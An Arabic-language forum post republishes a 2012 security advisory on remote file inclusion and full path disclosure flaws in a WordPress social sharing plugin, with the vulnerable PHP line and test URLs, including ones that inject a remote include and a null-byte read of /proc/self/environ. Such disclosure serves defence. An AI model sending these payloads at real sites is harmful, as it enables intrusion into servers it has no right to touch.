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 رقم العضوية : 41
 تاريخ التسجيل : Oct 2012
 العمر : 35
 الجنس : ~ ذكر
 البلد : البـاحة
 المشاركات : 376
 إهتمامك : ~
 النقاط : 61
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Talking ثـغرة الورد بريس : Wordpress Social Discussions Plugin 6.1.1 Multiple Vulnerabilities

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كود:
[waraxe-2012-SA#093] - Multiple Vulnerabilities in Wordpress Social Discussions Plugin 
====================================================================================== 
 
Author: Janek Vind "waraxe" 
Date: 17. October 2012 
Location: Estonia, Tartu 
Web: http://www.waraxe.us/advisory-93.html 
 
 
Description of vulnerable target: 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
 
Enables Social Sharing of your blog posts to 30+ Social Networks. Plugin also 
enables you to Automatically Publish or Self Publish your Blog Posts to 25+  
Networks. 
 
http://wordpress.org/extend/plugins/social-discussions/ 
 
Affected version: 6.1.1 
 
############################################################################### 
1. Remote File Inclusion in "social-discussions-networkpub_ajax.php" 
############################################################################### 
 
Reasons: Uninitialized variable "$HTTP_ENV_VARS" 
Attack vectors: User-supplied parameter "HTTP_ENV_VARS" 
Preconditions: 
 1. register_globals=on 
 2. register_long_arrays=off 
 3. allow_url_include=on for RFI if PHP >= 5.2.0 
 4. PHP must be < 5.3.4 for LFI null-byte attacks 
 5. magic_quotes_gpc=off for LFI null-byte attacks 
 
 
Php script "social-discussions-networkpub_ajax.php" line 2: 
------------------------[ source code start ]---------------------------------- 
if (!function_exists('add_action')){ 
  @include_once($GLOBALS['HTTP_ENV_VARS']['DOCUMENT_ROOT'] . "/wp-config.php"); 
------------------------[ source code end ]------------------------------------ 
 
We can see, that script expects old-style array "HTTP_ENV_VARS" to be initialized 
and containing "DOCUMENT_ROOT" entry. But it appears, that if PHP directive 
"register_long_arrays=off", then "HTTP_ENV_VARS" is uninitialized and if in 
same time "register_globals=on", it is possible to fill that array with any 
value, leading to the RFI (Remote File Inclusion) vulnerability. 
 
 
Tests: 
 
http://localhost/wp342/wp-content/plugins/social-discussions/social-discussions-networkpub_ajax.php?HTTP_ENV_VARS[DOCUMENT_ROOT]=http://php.net/? 
 
http://localhost/wp342/wp-content/plugins/social-discussions/social-discussions-networkpub_ajax.php?HTTP_ENV_VARS[DOCUMENT_ROOT]=/proc/self/environ%00z 
 
 
############################################################################### 
2. Full Path Disclosure in multiple scripts 
############################################################################### 
 
Reasons: Direct request to php script triggers pathname leak in error message 
Preconditions: PHP directive display_errors=on 
Result: Information Exposure Through an Error Message 
 
Tests: 
 
http://localhost/wp342/wp-content/plugins/social-discussions/social-discussions-networkpub.php 
 
Fatal error: Call to undefined function __() in 
C:\apache_www\wp342\wp-content\plugins\social-discussions\social-discussions-networkpub.php on line 2 
 
http://localhost/wp342/wp-content/plugins/social-discussions/social-discussions.php 
 
Fatal error: Call to undefined function __() in 
C:\apache_www\wp342\wp-content\plugins\social-discussions\social-discussions-networkpub.php on line 2 
 
http://localhost/wp342/wp-content/plugins/social-discussions/social_discussions_service_names.php 
Fatal error: Call to undefined function __() in C:\apache_www\wp342\wp-content\plugins\social-discussions\social_discussions_service_names.php on line 3 Contact: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ come2waraxe@yahoo.com Janek Vind "waraxe" Waraxe forum: http://www.waraxe.us/forums.html Personal homepage: http://www.janekvind.com/ Random project: http://albumnow.com/ ---------------------------------- [ EOF ] ------------------------------------
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المصدر: development-point - للمزيد تابع : قسم الثغـرات


eJyvm hg,v] fvds : Wordpress Social Discussions Plugin 6>1>1 Multiple Vulnerabilities






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